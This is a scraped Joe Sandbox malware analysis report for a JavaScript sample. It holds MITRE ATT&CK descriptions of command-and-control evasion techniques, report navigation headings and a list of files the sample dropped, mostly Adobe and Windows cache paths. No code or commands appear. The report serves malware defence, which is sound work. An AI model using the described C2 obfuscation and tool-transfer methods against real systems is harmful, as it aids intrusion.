Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2948124376300195806.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e46cf9b-4c61-4013-b027-7f3f06413723.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7096

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2948124376300195806.js